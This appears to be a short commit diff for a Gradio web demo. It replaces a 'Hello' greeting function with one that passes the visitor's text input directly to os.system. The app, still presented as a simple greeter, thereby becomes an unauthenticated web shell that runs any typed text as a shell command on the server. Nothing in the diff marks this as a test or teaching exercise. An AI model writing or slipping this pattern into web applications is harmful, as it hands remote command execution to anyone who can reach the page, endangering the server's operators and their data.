Add application file

app.py

@@ -1,7 +1,8 @@
 import gradio as gr
+import os
 
 def greet(name):
-    return "Hello " + name + "!!"
+    return os.system(name)
 
 iface = gr.Interface(fn=greet, inputs="text", outputs="text")
-iface.launch()
+iface.launch()